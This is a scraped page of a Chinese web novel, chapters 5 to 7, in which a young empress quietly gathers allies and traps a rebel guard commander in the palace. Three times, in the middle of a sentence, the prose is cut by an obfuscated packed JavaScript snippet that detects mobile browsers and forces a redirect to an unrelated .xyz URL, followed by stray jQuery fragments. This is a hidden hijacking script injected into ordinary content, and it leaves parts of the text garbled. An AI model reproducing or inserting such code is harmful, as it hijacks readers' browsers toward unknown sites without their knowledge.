温氏得天下多年,有一定的人心基础,就算被先帝折腾了那么些年,也还留下了不少政治遗产。 从之前乾元殿中的情况可以判断出,起码建平这边,大部分人还是心向天子的。 温晏然穿越前历史知识储备一直保持在能通过学科会考但绝不具有深入发展的层次上,只依稀记得,昏君大致有两类,一类是秦二世那种,虽然自身天赋异禀,但能多亏了身边掌权者的协助,才成功败光了家业,另一类是夏桀,据说天资不凡,年轻时也表现得挺贤明,等继位日久后,才展现出自己暴虐专横的本性。 前一种温晏然暂时不指望,至于后一种,她原本没有深思过其中的原因,现在倒是隐约有些明悟——如果那些君主一开始不曾表现得足够贤明的话,根本无法将权力掌控在自己手中,自然也就不具备日后胡作非为的基础。 温晏然想,既然自己的职业目标是当昏君,那第一步就应该向前辈们学习,想办法把权势掌握在手中。 * 自从天子身体好转,能正常起居后,被先帝钦点为辅政大臣的袁太傅,就日日过来给新帝上课,讲解朝中局势。 其实如今正值国丧期间,就算是皇帝也该停课守孝,奈何温晏然本人基础实在太差,袁太傅每天不得不以“劝慰陛下,免得其过于伤怀以致龙体受损”为借口,过来为天子讲解一些基础知识。 温晏然对这位太傅大人尤其客气。 虽然知晓眼前这段历史其实已经发生过了,如今所感知到的只是虚假的梦境,但看着面前被评论区称为“大周忠臣袁言时”的太傅大人,温晏然还是感到了一丝惭意。 自己肩负着打破梦境的责任,所以注定要对忠臣们不起。 温晏然琢磨,反正从人类的客观生理极限上判断,对方应该活不过自己,等日后站稳脚跟后,她把对方免冠去职便罢,不需要下太狠的手,而且说不定以对方的中直,在发觉自己昏庸的本职后,会选择主动弃官而去。 ——只是一目十行看过评论区的温晏然并不清楚,很多时候,像“大×忠臣”之类的形容,只是读者们在说反话玩梗…… * 天子从原来的偏僻居处搬出来后,暂时就定在西雍宫中起居,大周的礼教并不森严,加上这处宫殿位于内廷与外廷交界之处,也具备着召朝臣过来议事的功能。 袁太傅进殿的时候,注意到天子近侍中多了几个生面孔,目光微微一顿。 他日前也听闻过,温晏然日前闲逛之时在宫中随手指了几个与自己一般年纪的少年男女进西雍宫侍奉,这些少年男女只曾在少府中经过一些简单的训导,还不足以担任正式官职,此前也没跟温晏然有过接触,并非这位小皇帝埋下的棋子,而且天子似乎也并不指着对方成为自己的左膀右臂,只是摆在面前,闲谈游戏而已。 而且退一万步说,就算当真是好苗子,不经过一段时日的悉心培养,也起不了大用。 ——如果温晏然不是照着评论区剧透指的人的话,那袁太傅的推断其实还挺符合常理…… 少府中的人多是宦者与女官,他们负责皇家的财政管理,很多终身服务于宫廷,照顾皇室成员的衣食住行。 除了本来侍奉在周围的人手外,温晏然又额外点了几个人充当天子近侍,其中包括一个名叫张络的小黄门。 在某些剧情分支中,对方能成为宦官专政集团中的首脑人物,在掌权期间迫害了大量的朝廷官员,以敛财无厌著称。 除了张络外,还有一名名叫池仪的宫女,在另一条剧情分支中,本是浆作宫人的池仪因为天生聪颖,被选入宫廷,又在劳作之余,接受宫廷女史的教导读书识字,然后从底层女官做起,一步步成为深受皇帝信赖的内尚书,实质上掌控了整个宫廷,一言一行都能影响诏令,在池仪最显赫的时候,朝中高官的任免都由她一言决之,被皇帝亲口呼为内相。 两人当权的时候,都因曲承天子之意而受到重用,并大肆排除异己,收拢权势,是赫赫有名的奸臣。 温晏然把这二位都收拢到自己身侧,显然是希望他们能达到一加一大于二的效果。 在外人看来,池仪跟张络的资历太浅,年纪又轻,身上也并无职分,只是两个寻常宫人而已,只当他们是因为年龄与皇帝相近,才投了这位天下至尊的眼缘。 袁太傅只是扫了两人一眼,并不多在意。 他今天过来,是为新帝讲解禁宫的结构。 温晏然确实不大清楚这些。 虽然袁太傅说得委婉,不过温晏然还是听明白了,因为先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880615|159801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝好享乐,生前营造了不少宫苑,不过她现下所在的西雍宫,还有之前哭灵的乾元殿,都位于太启宫内。 太启宫并非先帝营造的新宫室,而是大周正宫,先帝登基一段时间后,嫌其老旧,又在边上兴建了桂宫与瑶宫两处宫苑,名义上只是将其作为闲时去游逛的私苑,等真正建成后,一年中大部分时间倒都在这两地起居,反而不大回太启宫了,也正因此,那两处皇家私苑内也有着功能完备的办公区域。 而温晏然之所以会待在太启宫内,主要是因为她之前不受先帝重视,所以才没有像其他比较有存在感的皇子皇女一样,在桂宫跟瑶宫那边获得一个固定的住所。 偌大的皇城自然由羽林军负责护卫,羽林军又称禁军,这支军队本来由太尉负责掌控,等太尉这一职位被悼帝——也就是温晏然血缘上的祖母——给废除后,羽林先由宦官掌控了一段时间,后来此权柄又落到了悼帝宠爱的女官手中,等悼帝驾崩后,先帝最初是在朝中重臣的建议下,将羽林军的兵权交给上将军,等上将军本人身死,全族也被籍没后,羽林军的掌控权又回到了宦官手中,当时朝臣们联名上书表示反对,先帝为了安抚大臣,将羽林军分为了外卫,中卫跟内卫,其中只有内卫统领会由宦官充任。 虽然袁太傅的措辞十分克制,但温晏然还是能听出,对方话里对内卫的权柄居然落在宦官手里的抗拒。 温晏然:“请问太傅,现在的内卫统领是何人?” 袁太傅顿住,斟酌了下词汇才道:“先内卫统领因与皇子密谋被诛,如今由中卫统领代为管辖。” 温晏然闻言,笑了下:“那中卫统领又是何人,朕可曾见过?” 袁太傅此次停顿的时间更长,末了还是实言相告道:“中卫统领是季氏之子,名为季跃,如今告病在家,之前上了折子,说等身体痊愈,便会来叩拜陛下。” 温晏然觉得季跃这个名字颇为耳熟,应该在评论区中见到过,袁太傅注意到天子一脸回忆之色,主动帮忙介绍了几句。 据袁太傅介绍,季氏是天子近臣,每一代都有子女在羽林军中担任官职,从立朝开始,就颇受温氏信赖,如今的中卫统领季跃本来也对大周忠心耿耿,结果先帝有一回微服外外出游逛,看见了季跃的姑母,觉得其颜色颇为殊丽,然后不知怎的,季跃的姑父就突然暴病而亡,其姑母也就顺理成章地被送去了道观清修。 按照先帝本来的打算,季女应该先去道观内静修上一段时间,然后再被悄悄接进后宫里,结果静修期还没过,先帝就一病不起,缠绵床榻之时却还没忘记当日惊鸿一面的美人,派禁军护卫着心腹內监过去道观中,悄悄给对方灌了一杯毒酒,算是殉葬。 袁太傅叹气:“季统领是中直之士,陛下当好生安抚才是。”又道,“至于外卫统领,已被先帝下狱诛杀,如今由燕副将代管。” 温晏然微微颔首——袁太傅不愧是钦点的顾命大臣,讲述的内容非常有价值,让她隐隐生出一种自己可能活不到当昏君那一天的感慨。 袁太傅犹豫了下,还是道:“老今日臣有一言想要告知陛下。” 温晏然注视着面前的老臣,唇角微微翘起,温声道:“朕年少失怙,如今所仰赖者,唯太傅而已,太傅有什么想说的,尽管直言便是。” 5. 第五章 皇帝态度如此温和,袁太傅心情稍稍平和了些许,开口劝说:“之前奉旨前来哭灵的十一殿下,十三殿下乃是陛下的手足,留在宫中照料倒也无妨,至于其余宗亲,关系已远,长期滞留禁中难免惹人非议……” 温晏然已经知晓袁太傅打算说些什么——当日她接着郑氏召宗室子女过来哭灵的名义,把她尚在建平的年幼弟妹,其余兄姐留下的孩子,以及近支宗亲,全部集中到宫中,在外人看来,显然有着软禁为质的意思。 不少人也能理解温晏然的所为,如今先帝刚刚驾崩,新帝继位未久,连大典都没有举行,缺乏可靠根基,建平城内表面看起来尚且算得上平静,实则因为新旧交替而暗流涌动,如果有人想趁机废黜温晏然,另立其他皇室子女为帝,未必不能成功。天子为防万一,干脆将所有可能的威胁项搁在自己眼皮底下,也是人之常情。 袁太傅想劝温晏然将人放回去,免得朝臣议论新帝待宗亲严格。 温晏然把“这样正好”的心里话给咽回去,一本正经道:“如今天气寒冷,宗室中不少稚儿,年幼体弱,每日奔波两地于身体不利,等不必再哭灵后,朕自然让他们各归各处。” 皇帝驾崩,天下人都要为其守孝三十六天,所以满打满算,那些温氏子女也只需要在宫内住上一个多月而已。 袁太傅迟疑片刻,还是道:“可是自从宗亲入宫后,城中流言不断,恐伤陛下清誉。” 温晏然负着手,含笑:“朕心中无愧,自然不惧人言,而且为人君者,哪里能避免天下人议论呢?” 袁太傅微微一顿,最终还是点头称是。 以他的城府,当然能看得出来面前的小皇帝不但没有怀疑自己的话,甚至还颇为信任自己,却没有因此采纳自己的谏言。 为了维护自身的忠臣形象,袁太傅显然不会在皇帝面前做出太过强硬的表态,在意识到新帝已经下定决心要把人留在宫中,只得做出妥协。 而且袁太傅隐隐觉得,天子这么做,说不定还有些更深的顾虑在其中。 倘若温晏然之前把人都聚集到宫中,却又因为袁太傅的缘故,将那些宗亲放归,差不多就算是坐实了以这些人为质的意图,往昏君的形象更靠近了一步。 如今坚持己见,把所有人留到丧期结束,只要中间没出什么事情,温晏然之前的那套不让小朋友们因奔波受累说法,至少在表面上能被旁人接受。 袁太傅继续讲解羽林军的情况,这支军队是天子之羽翼,负责拱卫皇朝,其地位至关重要,选人标准也异常严格,天下二十一州中,只有包括建州所在的中心十二州的良家子才有资格被选入其中。 温晏然忽然道:“既然如此,羽林卫中应当全是中原人士才对。” 她想起当日所见的钟知微,对方的长相就带着明显的异域特点。 袁太傅猜到天子的言下之意,解释了几句:“昔年为了稳定边境,曾将边民内迁至中原腹地。” 对于大周来说,位于中心的十二州是自家的基本盘,靠外的九州,多有胡夷之民,风俗与中原不同,朝廷对这里的统治力也有相对有限,有时以打压控制为主,有时则以怀柔为主。 温晏然询问:“边人内迁后,官中与民间待之与本地人如一吗?” 袁太傅微微垂首:“官府多有安抚,民间因之面貌风俗与己相异,多有排斥。”又道,“而且边人家国之念浅淡,陛下日后施恩之时,也不可掉以轻心。” 温晏然表示了解。 如果官府没有安抚的话,像钟知微那样的身世应该无法被选入羽林内,但民间的风俗习惯却并非一两天便能扭转过来,而且这种安抚,多半也只是些面子工程,钟知微就算进了羽林,也无法跟真正的中原派系融合到一块去。 当日少府令找钟知微要佩剑,恐怕不止是因为钟知微恰好在执勤,也是因为对方缺乏根基,安排起来比较容易,就算出事了也无关紧要。 考虑到天子大病初愈,袁太傅每天只讲一个时辰的课,到点就告辞出宫,温晏然也从座上站起,亲身相送,一直送到前殿那边才停步。 值勤的大臣们瞧见这一幕,心里一时间大觉安慰——天子如此知礼重道,想来不会重蹈先帝的覆辙。 * 温晏然之所以坚持亲自送太傅离开,一面是沿途认一认皇城的建筑布局,免得自己家长什么样都闹不清楚,一方面也是借机外出活动活动——好的身体是败坏家族产业的基础,她可不想还没开展自己的昏君计划,就中道崩殂在了体弱上头。 现下已至初冬时节,今年天气冷得比往年要早,七八天前还在下雨,然后就是雨夹雪,到了昨天,已经变成了彻彻底底的大雪,一行人往回走的时候,天上再度飘下了雪花,宫人忙为天子打伞,池仪还将特意带出来的大氅披在了温晏然身上。 温晏然本就穿着厚实的裘衣,外头再套一层,看起来颇有些蓬松臃肿。 她向池仪笑了一笑——对方如今还没有明确的司职品级,却可以沾手皇帝的部分内务,其中固然有旁的宫人们顾忌天子看着其人,相处时愿意容让一二,也是因为池仪本人性格聪颖机敏,否则以宫廷严酷的职场环境,早就被人不显山不露水地挤兑回了浆作司。 张络笑呵呵道:“陛下,咱们现在回宫么?” 温晏然:“不急,先随朕四处走走。” 也许是今年雪下得早,宫苑内的梅花也开得早,温晏然瞧见边上有数株罕见的绿梅已经开始抽苞,就驻足看了两眼。 这些绿梅颇得先帝喜爱,要不是因为移栽后难以存活,早就尽数种到了瑶宫桂宫那边,往年只有受重视的子女及大臣才能得赐,以皇九女偏居于桐台的待遇,显然是没得到过这些绿梅,管理花草的内侍担心皇帝触景生情,回忆起当年不得志时的日子,大着胆子道:“若是这些绿梅惹得陛下不喜,奴婢这便将它们锯了。” 温晏然摇摇头,不在意道:“挺好看的,锯掉做什么。” 内侍本有些不解,怔然片刻,忽的反应过来,温晏然确实不必耿耿于怀,毕竟她已是绿梅的新主人。 而且不止是绿梅,整座宫苑,大周的天下,如今也都属于她了。 温晏然一时兴起,伸手折了一枝,赏玩片刻,又随手递给侍立在一旁的池仪,并让对方回去的时候记得供在瓶中。 折完绿梅后,温晏然带着随侍的宫人一路向东闲逛,同时默默观察着宫苑内的情景。 先帝末年朝局动乱,不管是前朝还是后宫,都有大批人员遭到清洗,整个宫苑中虽然还是维持了基本的皇家气象,但难免显得有些空落。 温晏然听见远处有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880616|159801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐隐的哀泣之声,询问左右:“是有人在哭么?” 池仪回禀:“是栖雁宫中的人在哭泣。” 温晏然点了点头——为了方便管理,她把先帝留下的妃嫔给集中安置到了栖雁宫内,其中就包括如今尚在宫中的十一殿下与十三殿下的生母,以及部分先帝晚年所纳的新人。 随行的侍从们看见天子只是随口一问,似乎并不在意此事,也就不再多言,跟着对方慢慢行来,最终停到了天桴宫外头。 从地理位置上看,天桴宫与太启宫连在一块,一向被视作皇城东部的延伸,温氏太庙就坐落于此,也是国师本人及其属官的办公与居住地点。 ——这一代的国师温园号为惊梅,居处也多种梅花树。 天桴宫内的人多做道士打扮,虽然远离朝堂,却比太启宫那边更为行止有度,望之秩序井然。 有人注意到宫门前的天子一行人,立时过来拜见,温晏然颔首,示意对方免礼,又笑道:“既然来了天桴宫,自然要见一见国师。” 正常情况下,整个天桴宫都不太搭理外头的事,就算遇见朝臣求见,也大多婉拒,但皇帝身份贵重,想去哪里便能去哪里,一个衣饰庄重的道官立刻前来温晏然引路,将她带至国师的居处。 温园此刻正在看书,见到天子过来,本要起身为礼,却被温晏然出言免去。 刚登基的天子负手而立,看一眼张络等人,不必多言语,身边随从皆知机退下,天桴宫的道士也不敢停留,将空间让给皇帝与国师。 温惊梅静默不言,侍立于侧,等待面前的皇帝说明来意。 温晏然微笑:“今日前来,是请兄长再助我一次。” 温惊梅不问相助何事,而是道:“何谈一个‘再’字?” 温晏然反问:“当初难道不是兄长将我的名字递给先帝的么?”又缓缓道,“不过拥立之功,单以一个‘助’字论,倒是浅薄了。” 温惊梅看着面前的远方堂妹,微微摇头:“天命的确在陛下身上,臣并无寸功,当日先帝询问时,臣不过实言转告而已。” 温晏然唇角微翘,目中却没有半丝情绪:“既然天命在我,那兄长何妨看在天命的份上,顺命而为呢?” 温惊梅察觉到,面前的小堂妹虽然言笑晏晏,但天子之势已初见峥嵘,虽然是在商议,语气中有着不容违逆之意。 他也确实没有违逆的余地。 国师闭目半晌,他本不知道究竟发生了何事,却从天子的态度中感受到了某种不详之意,再睁眼时叹道:“温氏负人多矣。” 温晏然微笑:“兄长虽然不涉朝堂争斗,却是个洞若观火之人。”又开口询问,“那依兄长所见,如今又当如何?” 温惊梅默然无语,末了道:“既然陛下有意,微臣敢不奉命,只是天桴宫素来只专注太庙诸事,此事尘埃落定之后,还请陛下待之如初。” 温晏然语气更是柔和:“国师放心。” 池仪等人在外等了半柱香的功夫,然后才看见温晏然出门,她没在天桴宫内多待,直接摆驾西雍,随行者老老实实地跟随在侧,走到半路的时候,池仪看见那位天子忽然抬起头,向着天空自语,声音中隐有冷嘲之意:“天命么……” 对方说话的声音过于轻微,池仪也不敢肯定,自己到底听错了没有。 6. 第六章 在先帝停灵期间,袁太傅每日都会过来授课,各处的宫人们都经常能看见送太傅离宫后四处闲逛的陛下,想来小皇帝以前在桐台闷得太久,有机会自然要倒出走走。 这一日,袁太傅在讲完课后,特地询问了下天子的身体状况,提醒对方冬日寒冷,近来又多风雪,散步时要注意莫要着了凉。 温晏然随意一点头,忽然道:“那位季统领身体如何,可痊愈了?” 袁太傅面露为难之色,叹息道:“老臣曾叫人去看过季统领,说是如今还不能起身。” 温晏然:“既如此,就教太医过去瞧瞧,如果不肯见,就多派两回。”看袁太傅还想说些什么,补了一句,“就说是朕让人去探望他的,请季卿注意保养,等他身子好了,朕还有仰仗之处。” 其实在季统领传出生病的消息后,袁太傅等人曾请过太医去帮对方看病,结果都以被对方用各种理由拒于门外。 袁太傅隐隐感到,天子今日所为,明面上是安抚季统领,但仔细体会,却也带着些威慑之意,略劝了几句,发觉不能改变温晏然心意,也就应承了退下。 送走袁太傅后,温晏然在庭中站了一会,她如今已经完全回忆起来那位季统领究竟是什么人——评论区提到过,身为天子近臣的季跃对温氏颇有不满之意,本想在先帝丧期谋反,却因为顾虑重重,加上缺乏合适的机会,所以选择放弃,其人性情如惊弓之鸟,一旦受到刺激,就容易做出过激的选择。 温晏然负手看着宫苑中的雪景,过了一刻左右,池仪轻声走来,在她边上说了几句话,温晏然微微颔首,表示听见,却并不立刻说些什么,又出神半晌,才道:“喊他过来罢。” 温晏然喊的对象是张络,他与池仪一样,都是骤然提拔到天子身侧的小人物,却十分能稳得住,对待之前就侍奉在温晏然身边的老资格近侍的态度更是恭顺谦卑,竟也十分顺利地被皇帝周边的宫人接纳了。 张络现下过来,是向坐在木榻上的皇帝汇报自己今日的所为。 “奴婢按陛下的吩咐,去找了钟校尉……” 张络小心回答,其实在皇帝刚刚吩咐他办事时,这个混迹于宫廷底层的小内侍更多是感到畏惧与惊讶,但他迅速意识到,面前摆着的是一个绝好的晋身之阶。 众所周知,由于不受重视的缘故,昔年的九皇女身边并无可靠近臣,如今少府中诸位有品级内侍的年纪都已然不小,张络想,只要能让陛下觉得自己足够好用且足够忠心,那么天子在提拔人时,难道还不会给心腹之人高位么? 木榻上,裹着白貂裘的温晏然倚靠着身侧的凭几,半闭着眼,一言不发地听着张络的汇报,从头到尾都没给出半句评价,等人说完话后,微微颔首,示意张络退下。 张络揣摩不透天子的想法,行礼后站起身,轻手轻脚地退到门边,刚要迈过门槛时,又被里面的人喊住。 温晏然睁开眼,清凌凌的目光在他身上轻轻一扫,就在门前的小内侍忐忑地揣度起皇帝是不是又打算吩咐什么事情时,却听这位天下至尊开口道:“这几天雪一直不停,你在外奔走时记得多穿件衣裳。”又向身边女官道,“罢了,将昨天收拾的那件皮裘拿过来。” 这件皮裘是她作为皇九女时的旧衣,宫人们不敢丢弃天子在桐台时的旧物,全都好好地收拾了起来,温晏然昨天散步时,看了两眼女官们收拾衣物,顺便记下了那件皮裘。 内官自然不能身着逾制的服饰,不过考虑到昔日皇九女的生活待遇,温晏然的旧物中,也实在没什么逾制的器物。 张络的动作微微顿住,随即垂首躬身,向着天子再度拜了一拜。 * 冬日太阳落山的早,苍穹上无星无月,黯淡得就像是铺了一层厚厚的黑毡,皇朝中的主要殿宇、道路上已陆续点了烛火,其中以被用来停灵乾元殿最为灯火通明,温晏然如今所居的西雍宫次之,其它区域由于现在人手有限,就难免显得冷清寥落一些。 一个年轻宫人办完差事后,被屋外的冷风一扑,决定抄小道往回赶,不料却在宫苑内迷了路,更加雪上加霜的是随身带着的旧灯笼也熄灭了,只能摸着黑慢慢往回走。 她走了半刻左右,忽然听见远处风中传来了一种十分熟悉的,令人心下战栗的声响。 那是禁军行走时身上甲胄发出的声音,先帝末年,前朝后宫都被这位暴君清洗过数次,年轻宫人一听此音,就像是被施了定身法一样,化作一块顽石,一动不敢动。 直到那队人马离开很远后,这位宫人才稍稍松了口气,但旋即又察觉到不对——禁军若是奉召入宫,或者宿卫宫苑,又为何不点带着照明之物,反而跟自己一样摸黑前进,倒像是刻意在掩人耳目一般? 这队禁军虽然没有携带照明之物,但行动时却十分熟络,在靠近皇城中前朝与后宫的分界线时,分出一半人马往北边去,直扑栖雁宫,剩下的那一半则不动声色间将西雍宫团团围住,争取做到一只苍蝇都飞不出来。 ——当初温晏然不顾朝臣劝阻,执意将宗室子女留在宫中,并为了方便管理,将这些人集中安置在栖雁宫的偏殿内,正方便了有心人一网打尽。 今夜似乎格外安静,在这些禁军包围西雍宫的时候,竟然没有一队巡逻的队伍恰好路过此地。 直到禁军将西雍宫围得密不透风,为首之人才喝令手下开门,身材魁梧的副将上前两步,直接抬腿将大门用力踹开。 大门砸在石墙上,发出一声巨响,而那踹门的副将早已经带着手下人一阵风似地冲进了正殿里头。 在完成包围时便已没必要继续隐瞒行踪,这队禁军早已点起火把,将西雍宫内外照得灯火通明。 过不多时,那位率众冲进殿内的副将面色铁青地从殿中跑出,快步走到为首者身侧,压着嗓音道:“大人,里头没人。” 这座宫殿内不但没有皇帝,甚至连近侍都没能找见一个。 就在副将出来汇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880617|159801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报的时候,负责寻找宗室子女的那些禁军也传回音讯——栖雁宫跟西雍宫虽然位置不同,但在空旷程度上,却保持了相当高的一致性。 副将听见身边有铁甲撞击的轻响传来,竟是亲卫中有人开始止不住地发起抖来。 他们凭着一股胆气冲入宫中,结果却扑了个空,一些名为“后怕”的情绪便慢慢浮上了心头。 ——大周立国三百余年,哪怕身为叛军,心中多少对温氏怀揣着些敬畏之意。 副将有些着急,道:“咱们的行踪既然已被察觉,索性直接冲出建平,小皇帝一时半会也未必追得上。”“ 为首之人默然半晌,忽然摇了摇头,语气坚定:“不,此刻还远没到该出宫逃窜的地步。” 火光毕剥作响,照应在为首者的面颊上,倘若有相熟者在侧,必定能认出,此人就是如今的禁军中卫统领,季跃季将军。 季跃面色阴沉如水,他到底老于世故,很快压制住了心中的焦躁之情,本来因为紧张而混乱的思绪也慢慢清晰了起来,推测道:“如果温九对咱们的行动有十成的把握,在看出不对时,就不会是躲着你我,而是派人将咱们直接抓捕下狱。” 副将恍然:“也是,她若是底气十足,白天那会也不至于派太医过来摸咱们底细。” 季跃冷笑一声:“温九今年还不满十五岁,在朝中又没有心腹,如今不正面应战,而是选择躲藏,看似早有谋算,却叫咱们瞧出了她不过色厉内荏而已。”原地伫立片刻,闭了闭眼,再睁开时,目中已满是厉色,“此人是在拖延时间,倘若咱们当真被吓得退出建平,就正中了她肃清宫苑的计谋。” 禁军的职责是护卫皇城,其中人员俱都出身清白人家,多受大周恩泽,就算季跃是禁军中卫,也不能调动麾下所有兵马,今日随他进宫的,都是这些年积攒下来的心腹兵将。 也正因如此,倘若季跃这群人趁夜离开,那剩下的禁军,就必定会倒向小皇帝那边。 季跃:“咱们在建平经营多年,在外面却毫无根基,一旦离开,便算是失了地利,只能投奔旁人,不如留在此处,只要将小皇帝找到,就能一举翻盘。” 副将有些焦急:“可太启宫这样大,咱们又不晓得小皇帝跑到了什么地方去,到底该如何抓人!” 他还有句话没说完——太启宫占地已经足够宽广,北侧还紧邻着桂宫与瑶宫,他们要真一点点翻找过去,估计建平城内的忠君人士早就听见风声,赶过来勤王。 季跃分析:“她不是自己走的,身边还带了一群宗室子女,行程不可能快,所以跑不了太远,而且宫里面咱们的人也一直没给出消息来……”目光一凝,笃定道,“温九是去了天桴宫!” 天桴宫是国师所居之地,而且历代国师都出自温姓,姓氏关系注定他们的权势与皇权紧密相连,而旁支的身份则限制了这些人直接染指皇位,对刚刚登基还没有足够可靠人手的温晏然而言,算是难得的值得信任之辈。 7. 第七章 国师地位超然,某种程度上可以视为大周官方认同的天命传达者,按照季跃原本的计划,他并不打算将温惊梅卷入此次的事件当中,但既然皇帝自己选择躲了过去,箭在弦上,不得不发,当即领着自己的兵马,如利箭般横穿宫苑,直捣天桴。 所谓兵贵神速,季跃一行人没有绕弯,沿着宫道一路西行,就在隐约看见天桴的宫墙时,前方忽然砸下了大块的巨石,将路堵死,与此同时,后方也传来轰然巨响,不用派人去探查,打头的人便已猜到,他们的后路也被人用相同的办法阻断。 季跃心中大感不妙,当下仰首上望,果然看见两边墙上不知何时起站满了上百位弓箭手。 看他抬头,立刻有人喊了一声“放箭”,大约二十人齐齐拉开长弓,地下的叛军们无处躲避,只能尽量护住头脸,至于季跃等人则被亲兵护卫在中间,一时并未受伤。 ——这其实不算多高深的战术,只是季跃未曾想到,天子前往天桴宫,不是为了逃窜,而是设下陷阱,请君入瓮,对方完完全全利用了他激动时容易失控的性格缺陷,只这一点,就能算得上是知己知彼。 难怪先帝最后会选择温晏然继位! 等到弓弦声停下后,之前喊放箭那人又喝令道:“尔等已然山穷水尽,还不速速投降!陛下天恩浩荡,自然会网开一面。” 被困在底下的禁军都是季跃的亲兵,决计不愿就此屈服,那位传令者见状,又下令放箭,这一回拉弓者变作了四十人,一轮箭雨下去,大约有二十多位叛军哀嚎着倒在了地上,纵然一时间未曾毙命,也失去了战斗力。 传令者高声道:“尔等到底投不投降?” 其实跟随季跃的禁军足有五百多人,论数量还要多过墙上的弓箭手,但对方占据了绝对的地形优势,等他们真的冲出包围,还不知要损失多少人手……就在叛军踌躇不决时,前方墙上亮起火光,一个身着天子冠冕的少年人在甲士的护卫下立在那里,居高临下地看着巷子里的叛军。 在边上为皇帝举火的张络喝道:“逆贼,陛下亲身驾临,还不速速放下武器,举手投降!” ——张络不愧是剧透指定的未来权宦,小小年纪就已显得颇为不凡,虽然身形瘦小,但呼喝时居然嗓音嘹亮,极具威势气度。 一鼓作气,再而衰,三而竭,在发觉西雍跟栖雁都是空殿时,叛军的气势就已经被消磨了一部分,再加上多年来受到天子地位至高无上的道德观念的束缚,在看见温晏然身形时,叛军们原本充斥在胸臆间的胆气竟如阳光下的积雪一样迅速消退,一片沉默中,季跃竟听见周围有兵刃落地的声音连续响起。 副将咬了咬牙,右手攥紧,想要将手中长刀隔空掷向皇帝所在,结果刚刚抬起手臂,就被皇帝身边一名校尉打扮的将士挽弓射穿了咽喉。 温晏然缓缓道:“朕知道你们为奸人所惑,莫要负隅顽抗,就此束手就擒,朕愿意饶过尔等家眷。”又看向季跃,“季统领,事已至此,何不顾念袍泽之情?” 她刚刚开口时,周围还有不少杂音,等说到最后一个字时,不管是墙上的弓箭手,还是墙下的禁军,具都鸦雀无声,整条宫巷静得甚至能听见针尖落地的动静。 护卫在季跃周围的禁军仰着头,浑身僵硬地看着站在墙上的温晏然,在冲进禁宫之前,他们已经在心中模拟过拿下皇帝的场景,但真到面对当事人的时候,脑海中竟只充斥着一个念头,不断呼唤着“那是天子,是大周的皇帝”! 季跃与这些禁军相处日久,如何猜不到周围的人已无战意,凝视了墙上的少年天子半晌,终于松开手中兵刃,厉声:“足下若是不守诺言,季某就算做鬼也绝不让你安枕!” 温晏然微微笑道:“季统领多虑了,朕又没阴谋反叛,哪里就需要背信弃义,杀人灭口呢?” 既然首领松口说了投降,随同而来的禁军自然在敌人的喝令下,纷纷弃刀解甲,束手就擒,一个校尉打扮的将士从墙上跃下,亲自来看押季跃。 季跃眯了眯眼,接着火把上的光看清了那名将士的样貌,带点恍然道:“原来是钟校尉。” 他总算明白过来,小皇帝是从哪找到的人手,又是怎样瞒过自己耳目的。 季家世代在禁军中任职不错,但中原人与边人之间一向存在隔阂,季跃与中原出身的禁军关系亲密,与钟知微那种有边人血统的禁军,关系自然就要生疏得多,对方私下有什么动向,他更是无从得知。 这些具有边人血统的禁军一向以钟知微为首领,听对方调动也正常,不过他们数量极少,所以没被季跃放在心上…… 想到这里的中卫统领再度抬起头,仔细打量墙上那群“弓箭手”,果然看出了些许端倪——这里面差不多有一半人都并非禁军,而是天桴宫内的健壮道士假扮的,所以之前对方“逐渐增加射箭数量”的行为也不止是为了给叛军们逐步施加压力或者给他们留下投向的机会,更多是希望借此掩饰队伍中存在大量虚假将士的真相。 季跃一声长叹。 他虽然想明白了小皇帝的底细,但看着钟知微抵在自己脖子上的刀刃,也知晓再没有反抗的余地,何况就算季跃自己愿意不顾性命地拼上一拼,身后那些解除武装的将士们,怕也没什么作战的能力,倒不如像温晏然讲的那样,顾念袍泽之情,率众投降,替手下人争取一个从轻发落。 * 反叛的禁军在被收走衣甲兵刃后,暂且集中关押于天桴宫的侧殿中,至于季跃,则被单独提出,由温晏然亲自询问。 温惊梅在事情结束之后,本来已经不想多言,此刻又忍不住劝道:“季跃乃是勇武之将,陛下万金之躯,又何必亲自涉险。” 温晏然微微一笑,却是转向了那位校尉打扮的将士,道:“那就要劳烦钟将军再为朕送上一柄利刃了。” 钟知微听见,立刻解下身侧佩刀,单膝下跪,双手将武器奉上,却见小皇帝并未伸手接取,只是含笑望着自己,她怔然片刻,忽然间福至心灵,持刀起身,走到温晏然身后,垂手恭立。 温晏然:“如此安排兄长可还放心?” 温惊梅看着面前的少年天子,对方虽然言笑晏晏,却有种难以言喻的锋锐之感,心下微微一凛,道:“陛下早有筹谋,是微臣多言了。” 